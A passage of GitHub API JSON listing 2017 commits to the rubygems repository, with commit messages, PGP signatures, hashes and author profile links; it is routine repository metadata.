v1\n\niQIcBAABAgAGBQJY/GqNAAoJEAEZW7MV3ahWedAP/14Q3WakkkXXK+Zh7mfQDnLS\nkz9Q9rc7TWlka+b2flMwe1gtrxWXL8Q2iEWAsJN4i5weve7gZCAcEmZuCJmRlTIn\nneqM+nxheudOJAP2EboIqBJUIb/XVkgFX1huCtlRkJnEVaQK3y9vqTafMePEuE1x\nxkRheclYxb87k83rJQ/eTewxN2Vi2M8uFrr06W1YGJKolo9zdtIjqyDKzdtt8fTG\nCnPgImAt9p9BDXoKkCFkjBiHUsw4UjxJipymQZuoPPXG+0fsG1sZldGxbmZxqpCK\njhf8F8jaIOtMpMGR6CyXT7ZlrPei89Yt7AkH/oaWiXw/3RcyAcp5xdVnlPENsDEa\nIgXzphc6ru6GF7xFY+Fqynv1E5J4ZHrahyy/grEUiQwB8bqMyxqVVA3uzvM+txrj\nua5n0DZf1sWXHQbMf5zJxGr2HWWsd6arMvg0h5JXRs6aAcJwtdUmfshmZOkgqIVX\n05X6xPkKlMmfkodx7ZaWN1XYIpVmYjttnxUXMUuBmRYb2LZogv9SM+Kt9sCX55oz\n+KiY61Nr1uq0enx01Ft0oqPVVveO7RJR+G6aBSuCflombyxYUZMG5fqEXbRnFf4b\nHciO6N4i6Y/RKoAstortR4eGIScLWkluZgpUwT1lJJG1U8Il+cqcRio2zzKMYDxd\npR2vfZdEJE70SQq2YUrc\n=Tuzf\n-----END PGP SIGNATURE-----","payload":"tree 3b8f964277e7b5e8df79db782dc0f8b61018eb7c\nparent fb7e01fa4bee1e6b4eb751f170dce65a4321c18b\nauthor Samuel Giddins 1492937161 +0200\ncommitter Samuel Giddins 1492937357 +0200\n\n[Installer] Generate backwards-compatible binstubs\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fd5305f81907238c94e620682d826f6e0d94f55f","html_url":"https://github.com/rubygems/rubygems/commit/fd5305f81907238c94e620682d826f6e0d94f55f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fd5305f81907238c94e620682d826f6e0d94f55f/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"fb7e01fa4bee1e6b4eb751f170dce65a4321c18b","url":"https://api.github.com/repos/rubygems/rubygems/commits/fb7e01fa4bee1e6b4eb751f170dce65a4321c18b","html_url":"https://github.com/rubygems/rubygems/commit/fb7e01fa4bee1e6b4eb751f170dce65a4321c18b"}]},{"sha":"68b690d5d0639aaacb91a50699feb0a5ce9256dd","node_id":"MDY6Q29tbWl0NjE0MDcwOjY4YjY5MGQ1ZDA2MzlhYWFjYjkxYTUwNjk5ZmViMGE1Y2U5MjU2ZGQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-19T16:14:34Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-04-19T16:59:40Z"},"message":"Add a test for requiring a default spec as installed by the ruby installer","tree":{"sha":"ca4d3fdd77cd55d01f38a50dff91c7a6225983cb","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ca4d3fdd77cd55d01f38a50dff91c7a6225983cb"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/68b690d5d0639aaacb91a50699feb0a5ce9256dd","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIbBAABAgAGBQJY95d8AAoJEAEZW7MV3ahWTVsP91xSN9vlojeS760q+FEFzQCk\n/9Fi7JqonkKxNaL4L0OZ8NI1tyiGrkFr+YCcmy+DwEBH3lVBNOGJV5xRSK42VcZ/\nUyKdH9ZpYmnDqaQflLhWMTkxfDosLJL9lTkXvR5jwrBkPaR7E68XvBv7ya4qUAPZ\nKXjLDRtOkKku6VG03kXKOGFSdl02dA2RHgtmNuVV3ySmOh8TF20CDr0FgeCY7toh\nXZBGYQRvyV1G4Xi+u9xGQgpE/kgUMZGs2iXbal5AGlLfwIne2tVSOuWdrzDJW8eB\nt93TW9JZbIkaNkZuiED44ixX80KJ3moKYYGC5pBlqMuuxiFsOX4cgs9HANT6ygz4\nHoTzHW1eEguKirSziv0yQ8lHbZ+QLD0vsRS4Aeqm6p0rYognDdOtBMNBmdBihXN0\ndBn4JVkAouJu3TgMsbTx8LN9qI4XoTl2L2tFABr0bmbsh3FNkU0+nA/yCPDnE0xx\ngoEN3rHSKXkQdzhfGTXvhoQTufsz+7QhGzHsEpENw6X4PkyfOihmeoVdVVlrg2UZ\nd+CBeYdLiUYCNGTvH6iDciUq3AipBVxAfAAlAA3aOKA4w0PSHwH6WeXdzmofndIJ\ndZOZZXu8OFUjOVKSD6Uw0dyGCqA5uBDu9DO1KPM0ltBFYF5d2u65EJKV3Cj5wLYR\nhQul7nuihY+eACHkj/Q=\n=3I3L\n-----END PGP SIGNATURE-----","payload":"tree ca4d3fdd77cd55d01f38a50dff91c7a6225983cb\nparent f0c41e7400c1502838f1c56b84cc6a7d86800d94\nauthor Samuel Giddins 1492618474 -0500\ncommitter Samuel Giddins 1492621180 -0500\n\nAdd a test for requiring a default spec as installed by the ruby installer\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/68b690d5d0639aaacb91a50699feb0a5ce9256dd","html_url":"https://github.com/rubygems/rubygems/commit/68b690d5d0639aaacb91a50699feb0a5ce9256dd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/68b690d5d0639aaacb91a50699feb0a5ce9256dd/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"f0c41e7400c1502838f1c56b84cc6a7d86800d94","url":"https://api.github.com/repos/rubygems/rubygems/commits/f0c41e7400c1502838f1c56b84cc6a7d86800d94","html_url":"https://github.com/rubygems/rubygems/commit/f0c41e7400c1502838f1c56b84cc6a7d86800d94"}]},{"sha":"dd3e10136ae73051a7888955414eea246e85d00b","node_id":"MDY6Q29tbWl0NjE0MDcwOmRkM2UxMDEzNmFlNzMwNTFhNzg4ODk1NTQxNGVlYTI0NmU4NWQwMGI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-03-17T00:29:30Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-03-17T00:29:30Z"},"message":"Merge tag ''v2.6.11''\n\nTagging v2.6.11.","tree":{"sha":"395d0c7487aeddf2c18e920224a617a296e01ea8","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/395d0c7487aeddf2c18e920224a617a296e01ea8"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/dd3e10136ae73051a7888955414eea246e85d00b","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYyy3tAAoJEAEZW7MV3ahWRjgP/0tlu1uTVqrfBZIqrexRlgNK\nQGvGZa7/1F3yaXYRmwKvzFexY8IFYA4jt+XUtF0Olw3Gq4uLpjq+2UvuyfqIq+KK\n0XTbn4oZ1J6M0POPlFvgC04CPszqtR8bJnLX3UXjsM2ZSweO1iuaurbLgZSf90Er\nHP7FdmFjXdvxhl53fM9p/lDb6WVR3E4STcr2mCYBe6ZSciVYdK3Q7aQob+DD+BlA\nzfIe9BDDJ3S8QIr8RFbQadZMSM5Ma7D8T6G7j0Xxoi2f9uVeqU9CQUx9L5GpJlxh\nfIkffTeAxKUUrSS3E1yRjpTteKHNR5U+dzHSq8evkoyAV2lYJVGRBQhY4pA9dnOh\nzG/Bc/IPpsAZjGYAXxNdXJf/WMfrmSgG6+KquheQ0B7HKUD+sADMFvzXMj2eqQR+\n5aPqNNwB8LljFG2FgPognVcC4UyMorihTnGETJmj00WyIaYn2tbCzMlicoPYbOQx\nKskKPIJfYZPiKwjAncW0kf5nVSznj1toxpBULwuaN/cdUkZZCnX4Rl412zr+CLsI\n6s3BhpcJS2EZAvGkoh3zCype85unG3ojGX0Si49psEuzR0WO2l276zLZyovBbCQH\noB0oL5NnwT+lS/2pxxfgr+ORLooO9y45dL6Bh61IwBoK7ih/BpYBVUo7nC5TnyaT\ne0rmXWdUgaC1ypodKj58\n=yWtB\n-----END PGP SIGNATURE-----","payload":"tree 395d0c7487aeddf2c18e920224a617a296e01ea8\nparent fa87e9578ee79709076e5d96dbdfa00eec635727\nparent adfcf40502716080bd9cdfdd2e43bd4296872784\nauthor Samuel Giddins 1489710570 -0500\ncommitter Samuel Giddins 1489710570 -0500\n\nMerge tag ''v2.6.11''\n\nTagging v2.6.11.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/dd3e10136ae73051a7888955414eea246e85d00b","html_url":"https://github.com/rubygems/rubygems/commit/dd3e10136ae73051a7888955414eea246e85d00b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/dd3e10136ae73051a7888955414eea246e85d00b/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"fa87e9578ee79709076e5d96dbdfa00eec635727","url":"https://api.github.com/repos/rubygems/rubygems/commits/fa87e9578ee79709076e5d96dbdfa00eec635727","html_url":"https://github.com/rubygems/rubygems/commit/fa87e9578ee79709076e5d96dbdfa00eec635727"},{"sha":"adfcf40502716080bd9cdfdd2e43bd4296872784","url":"https://api.github.com/repos/rubygems/rubygems/commits/adfcf40502716080bd9cdfdd2e43bd4296872784","html_url":"https://github.com/rubygems/rubygems/commit/adfcf40502716080bd9cdfdd2e43bd4296872784"}]},{"sha":"adfcf40502716080bd9cdfdd2e43bd4296872784","node_id":"MDY6Q29tbWl0NjE0MDcwOmFkZmNmNDA1MDI3MTYwODBiZDljZGZkZDJlNDNiZDQyOTY4NzI3ODQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-03-17T00:24:08Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-03-17T00:24:08Z"},"message":"Version 2.6.11 with changelog","tree":{"sha":"012aaa0e7f01fed407153748e32968647e17952d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/012aaa0e7f01fed407153748e32968647e17952d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/adfcf40502716080bd9cdfdd2e43bd4296872784","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYyyyoAAoJEAEZW7MV3ahWd9UP/3noDu1brEa3w5nJabqnsn6f\nVaHViC/IqWe2SpKBnJi6sFk/7xMCs2Uwr1AyKkE51hPM7bX65nJSIJFEtQRFinTk\n8W7lIYms0sesdvU5zidD5HTM3uASP4+fVUHxbp+AN70vCmhZ3gjflw7lFMnqlbqB\nEwaSO3hHXPbyfq0bOXEHExUWyZkUXZsF9KHc9urwCZ3W7zEHKfY6+i0G/fDr5oc2\n92td2/ht+LQ+VvbNyZB+EG1yDJN6KeCm64w0gTvKRNvPYMvX98uNK0gQ6cDwslGg\nPkps1Rl0bV/wlD/GUwSKHl69M/HwA8dVtPSeMVg9F+8fUcQFqrjqw61q4qvzoRna\nThvNJ4THHc59IBQIlZSEuzp+4auH9hoGv8hamNDdGiPmK9bSeNgg2Fwqrce/vIHK\nFvagxUFfPFdbTeWa7Y8xhSbVc8R1HZgnoD/8W8hjuAqsP22mtgvGh4TXbnNcP9qU\nIsbtNJXWKUFxUazI9uun+pWxQ7sVugKgzEPMhvn+ia5yLkDC2MSENAI0ES/uyTap\n7IyJw2Qck40NRa6LzEgQH1Lo4djAu4ZnuNE2Ka2VPykOkneUnDXuoyKChyARLvpS\nm0cMtzsxQOtA7VwRSFKROHDs0ReJdUTLlyhJe+XlmBLBS47wfVpAGUsXjgkjp4w+\nmm4UIgpkr2m50YipNnRz\n=AbAO\n-----END PGP SIGNATURE-----","payload":"tree 012aaa0e7f01fed407153748e32968647e17952d\nparent 15240f21fc848e6517ddcdaa99b36d7598a0497b\nauthor Samuel Giddins 1489710248 -0500\ncommitter Samuel Giddins 1489710248 -0500\n\nVersion 2.6.11 with changelog\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/adfcf40502716080bd9cdfdd2e43bd4296872784","html_url":"https://github.com/rubygems/rubygems/commit/adfcf40502716080bd9cdfdd2e43bd4296872784","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/adfcf40502716080bd9cdfdd2e43bd4296872784/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"15240f21fc848e6517ddcdaa99b36d7598a0497b","url":"https://api.github.com/repos/rubygems/rubygems/commits/15240f21fc848e6517ddcdaa99b36d7598a0497b","html_url":"https://github.com/rubygems/rubygems/commit/15240f21fc848e6517ddcdaa99b36d7598a0497b"}]},{"sha":"aa62f1b184edb108a23276f473dfe64a11074968","node_id":"MDY6Q29tbWl0NjE0MDcwOmFhNjJmMWIxODRlZGIxMDhhMjMyNzZmNDczZGZlNjRhMTEwNzQ5Njg=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-02-09T03:14:52Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-03-17T00:23:47Z"},"message":"Merge pull request #1836 from rubygems/seg-molinillo-0.5.6\n\nUpdate vendored Molinillo to 0.5.6\n(cherry picked from commit 1f81141a85e83dc16cf7f77a6b68fc171262ae51)","tree":{"sha":"8a3d68b2afe0318b9ab6b215319692202474995b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/8a3d68b2afe0318b9ab6b215319692202474995b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/aa62f1b184edb108a23276f473dfe64a11074968","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYyyyTAAoJEAEZW7MV3ahWHNoP/i2eUP/p0vXb56MZpDQdM5h0\nHp1u4hiSh2+MUnbsj32NiyX1neA/BLzq/kgHN3c4qGV5YzVqMup6Dz8w2fuIpL0Y\niUiR0u/hNnPjSSskw+vw/nWAUs+BYkkQGAKdjvmoelL62SPw1XW3v9IsFfAKe4XS\nZ3+Z5jEheUzK3D8VRT5Ft46Iw2R5GT5k8hAxrElOjBg+GIChrcLUlfk3+P9I2Bck\nWlx9itYpeo0vlPk8IbDtOAQqgx91AR8qldSUcjEvX74Pf8aOee4PZufq+guCaSpI\nxd35ecMdVnHbznUbIGC4lfBQe41/yNX3aUYi1jWZcJLgYig/L/A7a108KtxTt8hO\nOF4MUHZg9aQwez6/R9pG25VPzfVEGCXqZ4UM+iK30mJFuzVbXl8n+WF92kQ67Oug\naRe96EVb9+uEJNl5/4w79ozfX7wokR33jpLWq45KtRZSQvBJsfM840jRbEt/qq5T\n94sAGPIcVeMstV2SWChulhx89Oa73/oz45w/rSyN0ziZViClqwYUZShwJxGpeQCq\nOqctXIIDrYfhPW8C8PoFS2IpdejXf46v/Z1HDWwn9Yl3A8sUpU0/Ckf0gZWsv+a/\nEc+J4GCyRqxGztdvGghMMFCGnGmuJqUbEpkeryFmnkGqs4HwNBMJZKwWvewWUAZ4\nlqS2uuz1S9P50Oq2t/QG\n=X1vV\n-----END PGP SIGNATURE-----","payload":"tree 8a3d68b2afe0318b9ab6b215319692202474995b\nparent b07af68b00d21dc30a09a764cb7cec91716be333\nauthor Samuel Giddins 1486610092 -0600\ncommitter Samuel Giddins 1489710227 -0500\n\nMerge pull request #1836 from rubygems/seg-molinillo-0.5.6\n\nUpdate vendored Molinillo to 0.5.6\n(cherry picked from commit 1f81141a85e83dc16cf7f77a6b68fc171262ae51)\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/aa62f1b184edb108a23276f473dfe64a11074968","html_url":"https://github.com/rubygems/rubygems/commit/aa62f1b184edb108a23276f473dfe64a11074968","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/aa62f1b184edb108a23276f473dfe64a11074968/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"b07af68b00d21dc30a09a764cb7cec91716be333","url":"https://api.github.com/repos/rubygems/rubygems/commits/b07af68b00d21dc30a09a764cb7cec91716be333","html_url":"https://github.com/rubygems/rubygems/commit/b07af68b00d21dc30a09a764cb7cec91716be333"}]},{"sha":"9ab6bef9f0ad2b8941c2108732148f98452002dd","node_id":"MDY6Q29tbWl0NjE0MDcwOjlhYjZiZWY5ZjBhZDJiODk0MWMyMTA4NzMyMTQ4Zjk4NDUyMDAyZGQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-03-06T06:45:32Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-03-06T20:34:43Z"},"message":"Update resolver error test for new sort order","tree":{"sha":"4dd868f241ab1128e170de3086ae1bd5b82c01f4","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4dd868f241ab1128e170de3086ae1bd5b82c01f4"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9ab6bef9f0ad2b8941c2108732148f98452002dd","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJYvcfjAAoJEAEZW7MV3ahWrU0P/3la4NF5VR4ccBFqpA+iOK7w\nPQFlj+O0VVaL66vgEzkwUh7igOOy8GcqyCiTZDUgGUr6LHSI9sCPWf3EnlwTgEpy\nuf2TfhpW6kwcz2Wyb6BytLOzauJCZ4F7eZvn14nmDHRZuGTvEGTShZPCi1Hb1vW9\nplteDLhxrTAjj4PwdvaNI68kz+7xnb9T04p6BpNmp6VIfuO0K1ZNzhvcc3VHrmdR\n4uDuG/iXVyJIEi7+0EYtsGkFYF03gugXzQWVELr+1WBpGCnmQ6YBZXu1cWkRH71s\nQcUe4F37JZr8HvxIcKUDP8urDrNrkjNFGzmqCI9UI/5mtiw36KUXANb3JRM+c1oQ\nRSZUoK7hHpHeE5lSdJpZAM9U98gfs3666Sfb2d67Xa658qhh8jQjBNipAtLR1Z6K\nuX6t5+62iaGV6tZxe3+yPnPlGzHZcnR1axV9gnQhAVOf8ZSF+NADCw8hTFCu98Qc\nk2z/CP2iXnZ+7IEXII9Hxef3N8YaGyD5CywQ5ze4sNgThU9MlHwAtEyFBacKMxwv\nLACXgn4sKRGyPT+k6Kxpc90ppx6W0nlXC5EwycfGUcyvUX80tSAPw1/N4rLTz7jO\neRRzb9l09fpqrL6crvDOKhk2/Bw8eAIsrPmwp/Trkrk9yV6CKDNyWL5uYaLwwN2E\n8Wv12NYo6HzwY/uMATfU\n=9s9d\n-----END PGP SIGNATURE-----","payload":"tree 4dd868f241ab1128e170de3086ae1bd5b82c01f4\nparent 1c89c04ca154a6f4f3781f3a339e31203f9af4a2\nauthor Samuel Giddins 1488782732 -0600\ncommitter Samuel Giddins 1488832483 -0600\n\nUpdate resolver error test for new sort order\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9ab6bef9f0ad2b8941c2108732148f98452002dd","html_url":"https://github.com/rubygems/rubygems/commit/9ab6bef9f0ad2b8941c2108732148f98452002dd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9ab6bef9f0ad2b8941c2108732148f98452002dd/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"1c89c04ca154a6f4f3781f3a339e31203f9af4a2","url":"https://api.github.com/repos/rubygems/rubygems/commits/1c89c04ca154a6f4f3781f3a339e31203f9af4a2","html_url":"https://github.com/rubygems/rubygems/commit/1c89c04ca154a6f4f3781f3a339e31203f9af4a2"}]},{"sha":"1c89c04ca154a6f4f3781f3a339e31203f9af4a2","node_id":"MDY6Q29tbWl0NjE0MDcwOjFjODljMDRjYTE1NGE2ZjRmMzc4MWYzYTMzOWUzMTIwM2Y5YWY0YTI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-02-28T19:17:08Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-03-06T20:34:38Z"},"message":"[Resolver] Use improved bundler sorting algorithm","tree":{"sha":"51e817c91ad98452cbec2ff64cce98ed0057af84","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/51e817c91ad98452cbec2ff64cce98ed0057af84"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/1c89c04ca154a6f4f3781f3a339e31203f9af4a2","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG 